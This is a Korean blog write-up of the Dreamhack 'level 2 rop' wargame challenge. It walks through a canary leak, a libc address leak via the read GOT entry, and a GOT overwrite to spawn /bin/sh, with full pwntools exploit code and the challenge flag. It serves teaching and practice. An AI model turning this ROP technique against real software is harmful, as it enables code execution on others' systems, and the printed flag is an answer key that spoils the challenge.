CTF & Wargame(PWNABLE)

[dreamhack] level 2 rop

KWAKBUMJUN 2025. 4. 7. 01:36

코드 분석

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

바이너리의 코드를 분석해보면 system 함수를 호출하지 않기 때문에 PLT에 등록되어 있지 않고, "bin/sh" 또한 데이터 섹션에 기록하지 않았다. 따라서 system 함수의 주소를 직접 구하고, bin/sh 또한 다른 방법으로 참조해야한다.

 

익스플로잇 설계

1. 카나리 우회 

카나리 우회는 지난 강의와 같은 방식으로 한다. 하지만 한가지 새롭게 알게된 점은

이렇게 rop 바이너리를 gdb로 disassemble하면 buf의 주소가 rbp-0x40이라는 것을 확인할 수 있다. 따라서 해당 바이너리 스택 프레임은

buf(0x40)

canary(0x08)

sfp(0x08)

ret(0x08)

이렇게 구성되어 있다. 따라서 buf<->canary는 0x40 - 0x08을 연산하여 0x38이라는 것을 알 수 있다. 이를 기반으로 canary leak 코드를 작성하면

# [1] Leak canary
buf = b'A' * 0x39
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))

print(hex(cnry))

A라는 쓰레기 값을 0x39까지 채워준다. 0x38이 아니라 0x39까지 채우는 이유는 canary의 첫 바이트는 Null 값이기 때문이다. 그리고 뒤에 0x07 바이트만큼의 카나리 값을 leak 해주는 방식이다.

 

2. system 함수 주소 계산

system 함수는 libc.so.6에 저장되어 있다. libc.so.6에는 해당 바이너리에서 호출하는 printf, puts, read 함수들도 저장되어 있다. 해당 바이너리에서는 system 함수를 호출하지 않기 GOT에 등록되어 있지 않다. 하지만 read 함수의 경우에는 바이너리에서 호출하기 때문에 GOT에 등록되어 있다. 따라서 해당 함수의 GOT를 읽는다면 system함수의 주소를 찾아낼수 있다.

 

libc 안에서 두 데이터 사이의 거리인 offset은 항상 같다. read와 system의 offset은 항상 0xc3c20이다. 따라서 system 함수의 주소를 구하려면 system = read(주소)- 0xc3c20을 통해 구할 수 있다. 

$readelf -s libc.so.6 | grep " read@" 이 명령어를 통해 read 함수의 offset과

$readelf -s libc.so.6 | grep " system@" 이 명령어를 통해 system 함수의 Offset을 구하면 

 

system = 0x114980 - 0xc3c20을 하면 system 함수의 offset인 0x50d60를 구할 수 있다.

 

따라서 read, printf, puts 함수 중에 하나의 GOT 주소를 읽어서 해당 함수와 system 함수 사이의 거리를 이용하면 system 함수의 주소를 구할 수 있다.

 

3. "bin/sh"

해당 바이너리에는 bin/sh를 데이터 섹션에 저장하지 않았기 때문에 다른 파일에 포함된 "bin/sh"를 가져와야 한다. 따라서 

gdb에서 search bin/sh를 통해 libc.so.6에 저장된 문자열을 가져올 수 있다. 

 

 

 

4. GOT overwrite

read 함수의 GOT를 덮어써서 system 함수를 호출한다.

<Lazy binding>1. 호출할 라이브러리 함수의 주소를 프로세스에 매핑된 라이브러리에서 찾는다.2. 찾은 주소를 GOT에 적고, 이를 호출한다.3. 해당 함수를 다시 호출할 경우, GOT에 적힌 주소 그대로 참조한다.

위의 과정을 봤을때 read 함수를 호출하고 read 함수를 재호출 할때 Read 함수의 GOT를 system 함수의 주소로 덮어쓰면 system 함수가 출력될 것으로 보인다.

 

 

알아낸 system 함수의 주소를 read 함수의 GOT에 쓰고 해당 함수를 재호출 하여 system 함수를 호출하도록 만드는 것

 

system 함수 주소 계산

system 함수의 주소를 계산하기 위해서는 read함수의 실제주소와 libc의 시작주소를 알고 있어야 한다.

read함수의 실제 주소를 알기 위해선 write함수로 GOT 테이블에서 read 함수의 실제 주소를 읽어오면 된다.

그리고 libc의 시작주소를 알기 위해선 read 함수의 실제 주소에서 read 함수의 offset을 빼야한다.

 

<자세한 설명>

read <-> libc 여기서 read 함수의 실제주소가 x, read에서 libc의 거리가 y, 그리고 libc의 주소가 z라고 하면

libc의 주소인 z를 구하려면 x-y를 진행해야 구할수 있다.

 

GOT overwrite 및 "/bin/sh" 입력

read 함수와 리턴가젯을 이용하여 read 함수의 GOT를 system 함수의 주소로 덮고, read_got + 8에 binsh 문자열을 추가해야한다.

# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi = 0x0000000000400851
ret = 0x0000000000400596

payload = b'A' * 0x38 + p64(cnry) + b'B' * 0x08

# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(read_got) + p64(0)
payload += p64(write_plt)

# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 8)
payload += p64(ret)
payload += p64(read_plt)

p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
print(hex(system))

p.send(p64(system) + b'/bin/sh\x00')

p.interactive()

두번째 read 함수에서 사용자의 입력을 받는다. read 함수는 rsi에 사용자가 입력한 값을 저장하기 때문에 rdi를 read_got로 설정해준다. 그렇다면 p.send를 통해 사용자가 system 함수의 주소와 "/bin/sh" 문자를 전송했을때 read_got에는 system 함수의 주소가 저장된다. 그리고 세번째 read에서 read 함수의 Rdi에 "/bin/sh"를 설정했기 때문에 결과적으로 system("/bin/sh")로 GOToverwrite이 된다.

read_got + 8이라는 공간을 만들었기 때문에 read_got + 8에 "/bin/sh"가 저장되어 셸을 획득하게 된다. 

 

flag : DH{8056b333681caa09d67d1d7aa48a3586ef867de0ac3b778c9839d449d4fcb0cf}